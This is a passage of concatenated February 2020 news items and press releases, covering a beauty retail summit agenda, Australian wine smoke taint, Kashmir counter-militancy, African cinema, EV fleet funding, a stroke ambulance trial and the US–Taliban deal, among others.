emphasis on experience provides a distinct advantage to smaller, more agile brands and retailers. Join us at the INNOCOS summit to prepare for these industry-wide shifts. We invite most innovative brands and retailers to share real-life case studies and learnings on the results of greater personalization, loyalty, seamless journey on and offline, mobile commerce. INNOCOS summit is all about human connections and an impact we have on individual members, it's about helping each other succeed, meeting the right people. Agenda 9:00 - OPENING REMARKS FROM THE CHAIR 9:10 - THE NEXT FRONTIER OF OMNICHANNEL IN THE WORLD OF ARTIFICIAL INTELLIGENCE It is no secret that the digital marketing world has been changing with the use of Artificial Intelligence, IoT, AR, and other experiences; digital transformation is no longer a question. It is now about reinventing business models, centered on data-driven customer experience. Confirmed: Jennifer Tidy, SVP Partnerships, Modiface 9:30 - MODERN RETAIL Why do classical DTC brands go into retail brick and mortar - and at what stage of brand's development should you do it? Is it for experiential things only or the store will be a source of additional revenue? Dollar Shave Club, Amazon, Glossier, Violet Grey 9:50 - REINVENTING BEAUTY SERVICES THROUGH EXPERIENCES & ENGAGEMENT Brands and retailers are rethinking the beauty wellness experience through innovations in beauty services and product offerings Subscription services crafting salon-like experiences Brands and beautician clinics are engaging customers to deliver next-gen beauty and personal care services. Invite: Re: store (San Francisco), & Other Stories, Material Kitchen, Dirty Lemon, Lisa Says Gah, Happimess, Fedoma. 10:10 - BEST RETAIL EXPERIENCES THAT KEEP CUSTOMERS COMING BACK Invite: Birchbox, Sephora, Boots, STORY, Harrods, Skin inc, Foreo OR LUSH ON ITS JOURNEY TO PROVIDE THE ULTIMATE CUSTOMER EXPERIENCE' The beauty retailer is launching its own till system that it hopes will make the shopping experience more personalized, convenient and simple, as well as boost sales. Invite: Lush 10:30 - NETWORKING BREAK 11:00 - CREATING A BREAKTHROUGH DIGITAL CONTENT EXPERIENCE In a digital and content-driven economy, you need to create leading-edge customer engagement. Content is the backbone of a connected marketing world. Sylvia Xie, Director, Global Digital, Analytics and Insights, Benefit Cosmetics, USA 11:20 - CREATING A BREAKTHROUGH DIGITAL CONTENT EXPERIENCE In a digital and content-driven economy, you need to create leading-edge customer engagement. Content is the backbone of a connected marketing world. 11:50 - SCALING PERSONALIZATION WITH DATA-DRIVEN PRODUCT DEVELOPMENT How our ML model finds unmet needs in our customer data using a data-driven rather than marketing-driven approach to product formulation continuous iterating and tweaking existing product formulation based on data scaling manufacturing for a customized product offering Meghan Maupin, CEO, Atolla 12:10 - CONSUMER FOCUSED MASS BRANDS Experiential retailing using native consumer digital technology Trading attention for a higher profit margin Developing strategies for direct to customer relationships in a mass environment Bianca Heiszwolf, Business Leader Beauty, Philips 12:30 - NETWORKING LUNCH 13:45 - BRAINSTORMING SESSION 15:00 - NETWORKING COFFEE BREAK 15:30 - MANAGING CREATIVE DISRUPTION THROUGH COLLABORATIONS 15:50 - AFTER SALE & LOYALTY - BUILD LONG-TERM RELATIONSHIPS Building a community around your brand Strategies to influence discussions around your brand How to improve retention with personalization & digital experiences Invite: Lancme (replenishment email campaigns), Birchbox 16:10 - BE PREPARE TO MANAGE ANY ECONOMICAL, POLITICAL OR VIRUS CRISIS Learning how consumers change their behavior in time of crisis. Managing economic crisis like Saars, now Coronavirus, or political, like recent conflict of South Korea and Japan, or else, how to recognize the first signs, how to act quickly and effectively. Inventory management. Recovering from product recalls and reputation challenges. Creating new partnerships. 16:30 - BUILDING BRAND REPUTATION AND TRUST WITH CUSTOMER EXPERIENCE How to manage consumer terrorism - when consumers pick on companies for cultural appropriation, wasteful packaging, bad naming, etc. How to react fast and in an appropriate way. Cultural appropriation- borrowing from different cultures procedures is quintessential for beauty but how do you do it so as not to enrage the people? Sustainability marketing claims Experience running a wellness brand, including building trust with customers, recovering from product recalls and reputation challenges. MARKETING AND E-COMMERCE 9:00 - OPENING REMARKS FROM THE CHAIR 9:10 - EXPERIENCE MORE Experience More is defined as prioritizing experiences over things, where consumers engage directly with a product/service, and in return, they receive an enhanced and unique interaction with the brand. Consumers are seeking out authentic, personalized experiences to suit their individual tastes, preferences, and lifestyles. Appealing to the senses and using technology as an enabler, brands strive to provide a value-added experience. Irina Barbalova, Global Lead, Health and Beauty, Euromonitor 9:50 - FRESHLY PRESSED JUICES TO REINVENT COSMETICS Laurence Caisey, Founder, Freedge Beauty 9:50 - BEYOND THE DNA CONCEPT Your DNA & skin health The rise of DNA testing Personalization to the max Confirmed: Barbara Geusens, Founder and CEO, Nomige 10:30 - NETWORKING BREAK 11:50 - BUILDING DISTRIBUTION THROUGH INFLUENCER POWERED SOCIAL COMMERCE AND MARKETPLACES Building a brand on the back of strategic technology partnerships Leveraging peer-to-peer referral tracking and settlement to create a massive incentive reseller network Reducing marketing and customer acquisition costs with content creation and delivery tools that reduce dependence on traditional Social Commerce platforms Laura McCann, CEO and Founder ADORAtherapy 12:10 - THE FUTURE OF BEAUTY IS ABOUT GIVING BACK Align yourself with the right cause and drive social change Explore how to find a cause which couples well with your brand mission, from selection through delivery. Ensure your campaign resonates with your audience and delivers real change. Leverage partnerships for the greater good 12:30 - NETWORKING LUNCH RETAIL Panel Discussion For more information about this conference visit https://www.researchandmarkets.com/r/bcrzxm Research and Markets also offers Custom Research services providing focused, comprehensive and tailored research. The choking smoke that blanketed Australias east and south coast during devastating wildfires is roiling some of its storied wineries. Some winemakers are scrapping vintages this year after grapes were hit by smoke taint, which gives wines a burnt, ashy or medicinal flavor, dealing a further blow to an industry already reeling from years of drought. Clonakilla winery in New South Wales, north of Canberra, wont produce a 2020 vintage after analysis showed unacceptably high levels of smoke taint across all varieties and all vineyard sites, CEO and chief winemaker Tim Kirk said. The estate experienced a barrage of smoke from fires on every side this summer, which meant the wine quality could not be guaranteed, he said. The severe drought and unprecedented bush fire emergency has made 2020 the toughest year in living memory for the Australian wine industry and for Australian farming in general, Kirk said in a statement. Clonakilla will continue to sell earlier vintages and resume winemaking next year. Its far from alone. Tyrrells Wines in the Hunter Valley, north of Sydney, said it will produce about 20% of its typical output in 2020 after testing revealed smoke-taint damage. Proximity to the fires, elevation of vineyards, and days in contact with fresh smoke were taken into consideration when the decision was made, Managing Director Bruce Tyrrell said in a statement. Hunter Valley The NSW state government is paying for wine-grape growers to have their fruit tested. Early samples from the Hunter, Mudgee and Orange regions had shown some taint above critical levels, the government said. The South Australian government is also offering subsidized testing for growers in the fire-affected Adelaide Hills and Kangaroo Island areas. For those areas and producers it will be devastating, Tony Battaglene, CEO of industry body Australian Grape & Wine, said in an interview, noting most affected fruit would have gone to domestic consumption, not exports. Around 60,000 tons of grapes could be hit by taint, but overall it wont be significant in terms of national output, he added. Some grapes could be filtered and used for grape concentrate or juice, he said. The smoke taint has created a bleak picture for Hunter wine producers this year with the potential for long term economic and agricultural damage to the oldest wine region in Australia, Christina Tulloch, CEO of Tulloch Wines and President of the Hunter Valley Wine & Tourism Association, said in a statement, noting that small growers would be particularly affected. Wildfire smoke has hurt some earlier Australian vintages and become a bigger issue in places like California, Oregon and parts of Canada and South Africa in the past decade. Australias La Trobe University is developing early detection tools to help growers assess the damage. Still, amid devastation theres innovation, with distillers, brewers and winemakers eyeing ways to use the tainted grapes to create new products. Tullochs winery is working with Sydney-based Archie Rose Distilling, which is exploring uses for tainted grapes. The distiller will experiment with making brandy, and potentially other spirits, from wine made with more than 50 tons of smoke-affected Shiraz and Cabernet Sauvignon grapes from Tulloch and First Creek Wines in the Hunter region. Grape Beer As for Tyrrells fruit, some Semillon grapes have been harvested by Sydney-based Wildflower Brewing & Blending which will use them in its St Florence 2020 ale, which is refermented with wine grapes. The brewery noted in social media posts that previous beers made with smoke-affected grapes hadnt shown negative attributes, though theyre unsure why. Years of devastating drought are expected to have the biggest impact on the size of Australias 2020 vintage, with the grape crush potentially down as much as 10-15%, Battaglene said. The harvest is under way in most areas with signs output has dropped in some of the big inland production regions, mostly due to drought and low water availability. The 2019 wine grape crush was around 1.73 million tons, down 3% from 2018 and close to the long-term average of 1.75 million tons, government research and marketing group Wine Australia said. Australia is the fifth-biggest wine producer, according to Wine Australia, and exports about 60% of its output. Shipments were worth $2.89 billion in the year ended September, with mainland China, the U.S. and U.K. the top markets. Grape growers are focusing on building resilience in existing vineyards, as well as exploring the use of more Spanish and Italian varieties that are better suited to warmer conditions than the French ones traditionally planted in Australia, Battaglene said. With assistance from Matt Turner. Copyright 2022 Bloomberg. The terrorist attack by a far-right extremist which shocked the nation of Germany and resulted in the deaths of nine people was predicted on Facebook last year by prominent Nigerian cleric TB Joshua. According to a Facebook post clearly dated March 28th 2019, Joshua had warned Germany of an impending 'terrorist attack' and specifically called for prayers on Thursday. I want you to join me in praying against an imminent terrorist attack in the nation of Germany, particularly Thursday, the post states, with Joshua clarifying he had seen several 'visions' regarding this attack. The Government and people of Germany should be vigilant and guard against this We are on our knees praying for the nation and people of Germany," the post, which was placed on the official TB Joshua Ministries Facebook Page followed by 3.7 million people, concluded. Late in the evening of Wednesday 19th February 2020, a deadly gun attack was carried out in the German city of Hanau killing nine people of migrant background and injuring six others. The first target was the Midnight shisha bar popular among Germany's Kurdish community in the city centre of Hanau where witnesses heard about a dozen gunshots. The suspect, identified in local media as 'Tobias R', then travelled by car to the Kesselstadt neighbourhood and opened fire at the Arena Bar & Cafe. The extremist, who was found dead in his house alongside his mother in the early hours of Thursday 20th February 2020, had written a 'manifesto' in which he espoused 'deeply racist views'. The police stated they are investigating the shocking incident as a 'terrorist attack' and various government figures warned of the dangerous rise of extremist views and groups within Germany. Two other smaller attacks by far-right extremists took place within Germany in 2019, including the murder of Walter Lubcke, a pro-migrant politician giving credence to Joshua's warning that the German government must be vigilant. We pray for God's strength for all those affected by this tragic incident, a post on the cleric's Facebook page, which reminded followers of his prophetic message, concludes. Videos on Joshua's popular YouTube channel Emmanuel TV reveal he has prophesied various world events, from the death of pop legend Michael Jackson to the killing of Iranian General Qasem Soleimani by US forces. The "remarkable" decrease in the number of local youths joining various militant groups in Jammu and Kashmir has been a result of Operation 'Maa' launched by the army, which also targeted the leaderships of outfits "in a people friendly manner", a top army officer said here. Lieutenant General Kanwal Jeet Singh Dhillon, who heads the strategic Kashmir-based XV corps, started Operation 'Maa' whereby a local terrorist trapped in an encounter is made to talk to his mother in a bid to convince him to return to his normal life. "Nothing is lost until your mother can't find it," Lt Gen Dhillon said while explaining that the results of the operation were "worth noting". "In all operations, we extend every opportunity to local terrorists to 'return'. Half way through, the encounters are halted and the parents or society elders are involved to urge the trapped local terrorist to 'return'. This is Operation 'Maa' and we have been successful many times," Lt Gen Dhillon told PTI in a written reply. However, details were not made available by the army as this could jeopardise the safety of former militants who are inching towards living normal lives in the national mainstream. He said effective operations, especially against the leaderships of terrorist outfits, are the result of the determined pursuit of joint counter terrorist operations "in a people friendly manner". According to a report compiled recently by security agencies, on an average only five youths joined militant groups every month since the special status of the erstwhile state was revoked over six months ago and it was bifurcated into two union territories -- Jammu and Kashmir, and Ladakh -- whereas the figure before August 5, 2019 was 14 per month. Lt Gen Dhillon also believes that successful operations by security forces, which led to "elimination" of 64 per cent new recruits during their first year of joining terror groups, has also acted as a deterrent. "As a result, the recruitment of local boys in 2019 has been nearly half in comparison to 2018 and joining terrorist tanzeems (organisations) has become a non-lucrative option for the youth," he said. The report also said large gatherings at funerals of militants killed by the forces has become a thing of the past. Now, only a handful of close relatives are seen during the burials of terrorists killed in encounters with security forces, it said. Before August 5, 2019, funeral gatherings of killed terrorists used to be high and sometimes had more than 10,000 people, the report pointed out, adding that such gatherings had become fertile grounds for recruitment of youths into militancy. However, there has been a sharp decline in such tendencies and has impacted recruitment of local boys in various terror groups which has come down drastically, the report, which has been collated by various security agencies, said. "There were instances (after August 5, 2019) when militants were buried and funeral was attended by just by a dozen of close relatives," it said. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) The culture and colours of St. Vincent & The Grenadines were on full display at the recent Trinidad & Tobago Carnival event Fam Jam, February 13, 2020. Fam Jam, a full concert event, the brainchild of Vincentian Soca Star Skinny Fabulous, was supported by the SVG Carnival Development Corporation (CDC). Given its support for the extravaganza, the CDC mounted a booth at the lush Maraval, Port of Spain venue, from which their representatives pitched the upcoming 2020 Vincy Mas festivities to the many patrons of the event. In addition, patrons had the opportunity to pose for photos with the Vincy Mas brand ambassadors, and receive Vincy Mas branded paraphernalia. Fam Jam also provided the opportunity for SVG Soca dynamos L Pank and Hance John to endear themselves to the Trini audience. They shared the stage with top T&T acts like Nadia Batson and Lyrikal, and St. Lucias Teddyson John. Then the time was right to welcome Skinny Fabulous centre stage. Amidst a flood of Vincentian flags and rags, the soca maestro delivered a number of hits from his diverse musical catalogue, to the appreciation of the large crowd. More was to come! It was near hysteria when Skinny was joined by his Soca Famalay - Machel Montano and Iwer George - to officially shell down Fam Jam, and usher in T&Ts Carnival Week in fine style. Chairman of The SVG Carnival Development Corporation, Ricardo Adams, on hand at Fam Jam shared, "We are very pleased to be here during this very exciting time. "We all know that T&Ts Carnival is considered the Mecca, but Vincy Mas brings its own unique cultural attributes to the regional Carnival calendar. We take pleasure in introducing potential visitors to these one of a kind facets, and are happy to welcome them to our upcoming festival. Esworth Roberts, Development and Marketing Officer of the CDC, reminded that "St. Vincent has always had a footprint in T&Ts Carnival, previously with Becket & Kevin Lyttle, and currently with Skinny & Problem Child. "We are excited to be here to expose the Soca fans to home-grown talents such as Hance John, L Pank and many others, which they can all experience this coming June/July. While in T&T for the Fam Jam event, Adams and Roberts availed themselves of an interview with LoopNews and live prime time interviews on two television networks, TTT and TV6. According to Roberts, a team from the CDC was expected to return to Trinidad on last Wednesday, February 19, to continue their marketing activities during that countrys carnival celebrations. A senior police officer accused of leaking details of violent crimes to the media during his failed campaign for election as a Liberal MP will fight charges which he argues are invalid. Senior Sergeant Michael Lamb, who stood unsuccessfully as the Liberal candidate for Frankston in the 2018 Victorian election, is accused of leaking details from police files about 21 crimes to radio station 3AW in the months beforehand. Liberal candidate for Frankston Michael Lamb with then opposition leader Matthew Guy during the 2018 election campaign. Credit:Justin McManus A summary of the allegations released by Frankston Magistrates Court on Friday alleges political motivation was the reason he leaked details of home invasions, robberies and other violent incidents between January and June of 2018. It is alleged that due to the nature of the information it was unlawfully released by the accused for political gain, the summary says. Click here to read the full article. The dearth of African contenders in the main competition at this years Berlinale might come as no surprise to the continents perennially disappointed filmmakers. One could argue not unfairly that Africa is still underrepresented at the worlds top film festivals. But you wouldnt have to look hard to find emerging African voices in festival strands like Berlins Panorama, Torontos Contemporary World Cinema, or Cannes Un Certain Regard. That many of these films are from first- and second-time directors bodes well for a continent still grappling to reclaim its own narrative. More from Variety Three years after Senegals Alain Gomis won the Berlinales Silver Bear for his Kinshasa-set drama Felicite, other kudos for African filmmakers have followed. The past 12 months alone have seen Sudanese director Suhaib Gasmelbaris documentary Talking About Trees scoop a pair of prizes in last years Berlinale; Sudans Amjad Abu Alala win the award for debut feature in Venice with You Will Die at Twenty; and French-Senegalese director Mati Diops debut Atlantics take the Grand Prix in Cannes. Savvy programming has undoubtedly played a part in bringing more African films to festival audiences, but no less significant is the push in Hollywood and other industries for more diverse representation. In the wake of the Black Lives Matter movement and the #OscarsSoWhite controversy, theres a greater appetite than ever before to see black stories depicted on screen. For Diop, who conceived Atlantics a decade ago, that shift was instrumental in helping launch her Oscar-shortlisted movie into the public eye. When I started to write the film, the audience that exists now was not there yet, she says. From the moment I began to think about the film until [its release], this audience emerged. Its incredible. Story continues Diops groundbreaking film, which marked the first time a black woman director competed for the Palme dOr, points to another trend buffeting African filmmakers: The global ambitions of streaming services like Netflix, which released Atlantics worldwide last year. Along with the global rollout this month of its first African original, South African spy drama Queen Sono, the streamer has been quietly expanding its library of African titles. While such acquisitions are typical of the streaming giants strategy to boost its global subscriber base through local content, the knock-on effect has been to expose viewers around the world to a greater range of storytelling, opening doors for films from long-underrepresented regions to emerge. That says something about the position were in right now, where maybe the prevalence of streaming has, in an unexpected way, started to retrain an audience and broaden an audience, says Todd Brown, head of international acquisitions at XYZ Films. The Los Angeles-based production, sales and management outfit is developing several properties with African partners based on African IP. The last couple of years have been an education process for a lot of people involved, in terms of where you can make good content locally, who the good partners are, how the systems work, says Brown. People want to see different stories, for sure. Its a question of where in the chain you can monetize interest. Thats the whole trick. Industry players seem determined to identify potential breakout stars. A prime example would be Kenyan director Wanuri Kahiu, whos been attached to a host of studio projects since her lesbian romance drama Rafiki bowed in Un Certain Regard. Among them are the JuVee Prods. and Amazon series Wild Seed, which Kahiu is co-writing with Nigerian novelist Nnedi Okoraforan award-winning sci-fi writer whos also consulting on an HBO adaptation of her post-apocalyptic novel Who Fears Death, from executive producer and Game of Thrones creator George R.R. Martin. If not quite an arms race just yet, Hollywood competitors are circling African talent. CAA has tasked an agent with scouting fresh faces from the continent; the agencys recent signings include Ghanaian director Nicole Amarteifio and Nigerian media mogul Mo Abudu. WMEs clients include South Africans Nosipho Dumisa (SXSW player Number 37), whos directing the upcoming Netflix teen series Blood & Water, and Michael Matthews (Five Fingers for Marseilles, which unpooled in Toronto), the director of Paramounts post-apocalyptic comedy Monster Problems. For some observers, the rest of the world is simply waking up to what has long been obvious. The problem was never around a shortage of stories, or a shortage of talent, says producer Cait Pansegrouw of Urucu Media. It was more around the lack of producers on the continent who understood international financing, and how to launch filmmakers into the world cinema space. Thats starting to change. Three years after Pansegrouw and Urucu co-founder Elias Ribeiro arrived in Berlin with John Trengoves Oscar-shortlisted LGBTQ drama The Wound, Urucu fresh off a Sundance triumph with Lesotho director Lemohang Jeremiah Moseses This Is Not a Burial, Its a Resurrection will hit the EFM Co-Production Market with Trengoves latest film, A Shadow Creeps in Silver Trees. South Africas Big World Cinema was also selected as one of the EFMs five companies in focus. You can feel it. Its tangible. The market is ravenous for African content, says Pansegrouw. While African filmmakers still fight against the current of Western tropes, battling the expectations of audiences and financiers alike, the tide is shifting. Were starting to care less about validation, and more about doing things on our own terms. Sign up for Varietys Newsletter. For the latest news, follow us on Facebook, Twitter, and Instagram. Electriphi with Twin Rivers Unified School District Electric Buses Our customers have been clear - the transition to clean transportation is inevitable and they need fleet and energy management solutions to keep their vehicles charged and ready, while keeping operational costs in check Electriphi, a provider of software solutions for electric vehicle fleet and energy management, has today announced $3.5M in seed funding to fuel customer growth, scale its services and enter into new markets. The round was led by Wireframe Ventures, the Urban Innovation Fund, and Blackhorn Ventures, and included participation from Acario Innovation and Lemnos Labs. Electriphis innovative, award-winning platform offers comprehensive fleet and energy management solutions that significantly reduce operational costs, while accelerating infrastructure and electric vehicle deployment. Electriphis core technology leverages machine learning algorithms to provide optimal fleet and energy management, taking into account day-to-day operational challenges. Electriphi also announced it has signed customer contracts across multiple industry segments, including its deployment with the Twin Rivers Unified School District in Sacramento, California. "Twin Rivers Unified School District has the largest fleet of electric school buses in North America, and our ambition is to transition to a fully electric fleet in the coming years, said Tim Shannon, transportation services director, Twin Rivers Unified School District. This is a significant undertaking, and we needed a trusted partner that could provide us state-of-the-art charging management and help us with data collection and monitoring. Electriphi has absolutely been that partner to us, by helping reduce operational costs and simplifying our data collection and reporting. Our customers have been clear - the transition to clean transportation is inevitable and they need fleet and energy management solutions to keep their vehicles charged and ready, while keeping operational costs in check said Muffi Ghadiali, Electriphis Co-founder and CEO. Our open architecture and standards based approach has demonstrated scalability by signing customers across various industry segments, and deploying across a variety of charging infrastructure and vehicle OEMs. The company has developed a solution that is compatible with any charging infrastructure or vehicle type. Its software platform includes a range of features such as charging management, telematics integration, dynamic scheduling, fault reporting, route management, service tracking, and other factors that improve fleet reliability while reducing fueling and maintenance costs. Electriphi also helps its customers transition to a fully electric fleet, providing sophisticated analytics, real-time simulations, and ROI calculations. There are millions of public and commercial fleet vehicles in the U.S. alone that we rely on daily for transportation, delivery and services, said Paul Straub, managing partner, Wireframe Ventures. Many of these are beginning to consider electrification and the opportunity is tremendous. We are thrilled to lead this round to help Electriphi meet this rapid growth in global demand. "We are at the cusp of a great economic transition to electric-powered mobility. And Electriphi has built a best-in-class technology to help fleets manage this transition, said Julie Lein, managing partner, Urban Innovation Fund. We are proud to back Electriphi as they work with companies and governments to green their fleets." # # # About Electriphi Electriphi, Inc. is a developer of software solutions and services for EV fleet and energy management. It offers an open-standards based charging and operations management platform that saves energy costs and simplifies the transition to electric vehicle fleets. The leadership team, coming from Amazon, ChargePoint, Tibco, Versata and Sybase, bring deep industry expertise in EV charging infrastructure, grid-scale computing, enterprise data, IoT, machine learning and AI. Electriphi recently won Distributechs 2020 Initiate! Competition and was chosen to join Black & Veatchs IgniteX Cleantech Accelerator, from more than 120 applicants across the United States. Electriphi is based in San Francisco CA and for more information, please visit http://www.electriphi.ai and follow us on LinkedIn, Facebook and Twitter. Hyderabad, Feb 21 : University of Hyderabad Students Union on Friday condemned the imposition of fine on three students for organising a 'Shaheen Bagh Night' event on the campus and demanded that it be revoked. Condemning what it calls the "autocratic and undemocratic attitude" of the administration, the Students Union demanded that the fine imposed on the students be withdrawn unconditionally. It also assured the student community that it will not bow down to the administration at any cost and will take any and every possible step to safeguard the democratic interests of the students. The university Registrar has penalised three students for Rs 5,000 each for organising 'Shaheen Bagh Night' on January 31 after 9 p.m. and for painting and defacing the walls of the North Shopping Complex. "Time and again, the university administration have issued various show-cause notices and circulars to impart a sense of fear among the student community," the union said in a statement. The union said this was not limited to university administration but police also filed cases against 22 individuals and 200 others for doing a peaceful march on January 26. The union assured the student community that this intimidation by the administration will not be successful in suppressing the voice of dissent and protest in the university campus. It also made it clear that in the current national scenario, where "anti-constitutional and anti-people" laws are being passed in the country, universities cannot keep themselves in isolation. University spaces have always been a site of democratic dissent and protest since the national independence movement and will continue to be so in future also, they added. "The intimidation tried by administration will not be able to force students to lock themselves up in their rooms and active resistance will be made every time administration tries to suppress the exercise of their democratic rights," the statement added. Colombo, Feb 21 : A Sri Lankan Parliament committee on national security has proposed the immediate ban on the burqa and also suspend registration of political parties on ethnic and religious basis, the media reported. The proposals featured in a special report presented to Parliament on Thursday to resolve 14 controversial issues following the April 2019 Easter Attack, the Daily Mirror newspaper reported. The report was tabled by MP Malith Jayatilaka, the Chairman of the Sectoral Oversight Committee on National Security. The report states that a number of countries have already banned the burqa and suggested that the police should have the power to request anyone wearing a face covering in a public place to take it off in order to establish the person's identity. If such a request was not complied with, the police should have the power to arrest the individual without a warrant, the report added. It also recommended the island nation's Election Commission to enact a legislation to suspend the registration of political parties on ethnic and religious basis. The report further said that the registration of political parties which have some racial or religious conflict or in its name should also prohibited, the Daily Mirror reported. Such a party should be converted into a political or non-religious political party within a specified period of time, it added. Another proposal in the report said that all students studying in madrasas should be absorbed into the normal school system under the Ministry of Education within three years. The two cruise ships carry nearly 400 passengers and nearly 800 crew members, mainly from Northern Europe, North America and Australia, who will visit Hue during their visit. Passengers who wished to visit Hue were provided with medical examination and no one showed clinical signs of Covid-19 disease. Before entering Chan May Port, Silver Spirit visited Tien Sa Port in Da Nang. The cruise ship left Vietnam on the evening of February 19. Meanwhile, Crystal Symphony travelled through Thailand, the Philippines and Phu My Port in Ho Chi Minh City over the past 14 days. The ship left Chan May Port on the morning of February 20 and will head to Da Nang. The first runner-up of Bigg Boss 13, Asim Riaz, has bagged an album with none other than rapper Bohemia and is likely to feature in the music video alongside Bollywood star Jacqueline Fernandez. During a live audio chat with DJ Noreen Khan on BBC Asian Network, Asim mentioned his video call with Bohemia and claimed that the rapper has confirmed collaborating with him for a track. Asim also talked about how overwhelming it was when he expressed his desire to collaborate with Bohemia, who responded with, Ho gaya bhai, ho gaya (Consider it done, it is done, brother). Asim also revealed in the chat that he will travel to Australia next month and is likely to shoot the music video there. A Spotboye report claimed Jacqueline may be seen in the video as well. Also read: Deepika Padukones transformation into Romi Dev for 83 revealed in 3 BTS pics Soon after coming out of the Bigg Boss house, Asim shared a video on his official Twitter handle where he was seen on a video call with rapper Bohemia. Teasing a possible collaboration, he wrote, Lovely interacting with the legend @iambohemia sir. Thankyou for all the love and support you have been giving me all this while. It was a dream come true. You have inspired me growing up and now to realize that you are interested in collabrating with me. Peace , love and respect! Lovely interacting with the legend @iambohemia sir. Thankyou for all the love and support you have been giving me all this while. It was a dream come true. You have inspired me growing up and now to realize that you are interested in collabrating with me. Peace , love and respect pic.twitter.com/kFfcLVpUCm asimriaz77.official (@imrealasim999) February 16, 2020 Even inside the Bigg Boss house, Asim was often seen rapping, and he rapped a Bohemia track while doing an Instagram live session with his fans. After Bigg Boss 13, Asim celebrated with co-contestants Himanshi Khurana and Rashami Desai and Himanshi shared pictures of the same. In a boomerang video, Rashami, Asim and his brother Umar Riaz can be seen dancing together. Rashami and Asim were also seen grooving to Nora Fatehis hit song Garmi that featured in Varun Dhawan-Shraddha Kapoors Street Dancer 3D. Follow @htshowbiz for more Treating stroke patients in specialized ambulances speeds treatment and reduces patients' disability, according to late breaking science presented today at the American Stroke Association's International Stroke Conference 2020. The conference, Feb. 19-21 in Los Angeles, is a world premier meeting for researchers and clinicians dedicated to the science of stroke and brain health. The Berlin Prehospital Or Usual Delivery (B_PROUD) trial investigated if prehospital treatment in a mobile stroke unit could improve patient outcomes compared to usual care, which was emergency transportation in a conventional ambulance and in-hospital treatment. Patients (total 749, average age 73, 46% females) were assigned to treatment based on the availability of three mobile stroke units in the metropolitan area of Berlin, Germany, and compared with patients (total 794, average age 74, 48% females) who received conventional care. Mobile stroke units are ambulances staffed with emergency medicine neurologists and equipped with a CT scanner and a lab designed to enable specific stroke treatment at the scene. Prehospital treatment consisted of administering medications to dissolve the clot blocking blood flow in or to the brain (ischemic stroke). Timing is key because the clot-busting medication alteplase should be administered within 4.5 hours of stroke symptoms. Researchers found that: 60% of patients assigned to the mobile stroke unit received clot-busting treatment with alteplase if a mobile stroke unit was available, compared to 48% of patients who received conventional treatment in the hospital; the time to treatment was shortened by an average of 20 minutes when a mobile stroke unit was dispatched; and the use of a mobile stroke unit reduced the likelihood and severity of disability and death at three months by 26%. While we had anticipated better outcomes in the patients treated in the mobile stroke units, we are amazed by the magnitude of the effects. It is obvious that clot-busting treatment is most effective if it is applied in the ultra-early phase of stroke - ideally within the first or 'golden hour' of symptom onset." Heinrich Audebert, M.D., lead study author, professor in the department of neurology and Center for Stroke Research at Charite Universitatsmedizin in Berlin Since treatment within the first hour of symptom onset happens rarely in conventional care, Audebert said health care providers should consider ways to optimize treatment so it can begin while in route to the hospital. "Stroke treatment is more effective the earlier it starts," he said. "Just waiting until the patient arrives at the hospital is not enough anymore." Taliban's deputy chief says deal with US to be signed soon Iran Press TV Thursday, 20 February 2020 6:52 PM The Taliban's deputy leader has said that despite mutual mistrust, the militant group is "fully committed" to upholding a peace deal it is about to sign with the United States to end a nearly two-decade war in Afghanistan. In an opinion piece published in the New York Times on Tuesday, Sirajuddin Haqqani wrote that the group would soon sign a agreement with the United States to reduce attacks for seven days. "That we today stand at the threshold of a peace agreement with the United States is no small milestone," wrote Sirajuddin. "Achieving the potential of the agreement, ensuring its success and earning lasting peace will depend on an equally scrupulous observance by the United States of each of its commitments." Haqqani wrote, "The long war has exacted a terrible cost from everyone. We thought it unwise to dismiss any potential opportunity for peace no matter how meager the prospects of its success." He said the US-led Western alliance forced war upon Afghans and they had no choice but to defend themselves. "We did not choose our war with the foreign coalition led by the United States. We were forced to defend ourselves," he said. The Taliban commander highlighted the demands of his group, saying "withdrawal of foreign forces has been their first and foremost demand". "The withdrawal of foreign forces has been our first and foremost demand. That we today stand at the threshold of a peace agreement with the United States is no small milestone." This is the first significant public statement by a Taliban leader on the accord for a week-long reduction in clashes. The Haqqani network operates on both the Pakistani and Afghan side of the border. It has been behind some deadly attacks against civilians, security forces and NATO forces in the Afghan capital over the past decade. Sediq Sediqqi, a spokesman for Afghan presidential palace, reacted strongly to the article. "It is sad that the (New York Times) has given their platform to an individual who is on a designated terrorist list. He and his network are behind ruthless attacks against Afghans and foreigners," the spokesman said. Washington has for weeks been calling on the militants to reduce attacks on US forces, posing it as a condition for resuming formal negotiations on an agreement that would see US troops begin to leave the country after a near two-decade war. Pentagon chief Mark Esper recently described the recent talks between American officials and representatives of the Afghan Taliban as "very promising". Esper said last week that the US and the Taliban had agreed on a seven-day reduction in attacks that could result in the exit of US troops from Afghanistan. In recent weeks, US special envoy Zalmay Khalilzad, who is leading negotiations with the Taliban, has launched a new round of shuttle diplomacy by travelling to Pakistan and Afghanistan to brief officials on the status of the talks. Islamabad has helped facilitate the talks between the Afghan Taliban and Washington in Qatar. Pakistan was one of only three countries to recognize a Taliban regime that the US attacked Afghanistan to topple in 2001. The Taliban and the US had been negotiating the deal for a year and were on the brink of an announcement in September 2019, when President Donald Trump abruptly declared the process "dead." Talks restarted in Qatar later in December last year, but were suspended again following an attack near the Bagram military base in Afghanistan, which is run by the US. Violent assaults in Afghanistan have meanwhile been raging, with the number of clashes jumping to record levels in the last quarter of last year. Afghanistan's acting interior minister said on Tuesday that an agreement to cut violence would be enforced within five days. There are now about 13,000 US troops as well as thousands of other NATO troops in Afghanistan. Officials in Afghanistan and the United States have said a certain number of troops would remain in the country to ensure stability. NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address Three years after his disappearance, the family of American citizen Majd Kamalmaz, held in Syria, are calling on former detainees to share what they know writes Al-Araby Al-Jadeed. In February 2017, Virginia resident Majd Kamalmaz travelled to Syria from neighbouring Lebanon to visit with relatives and pay his condolences following the death of his father-in-law. A day later, the dual US-Syrian citizen was detained at a checkpoint in a Damascus suburb and has been missing ever since. With no new leads on Kamalmazs whereabouts or well-being, his children have created Arabic Facebook and Twitter pages and are giving interviews to Arabic-language news outlets in hopes of reaching former detainees. We have a message. Anybody that anybody that knows anything about him, please reach out to us, said Maryam Kamalmaz, one of Kamalmazs five children. If we get a former prisoner or anybody that had seen him to tell us, yes, I saw him at this prison. Hes in this condition, that would be very valuable information to us, she said. In the year since Maryam and her siblings took their fathers story public and called on President Trump to intervene, the Kamalmaz family and the US government have quietly pursued various 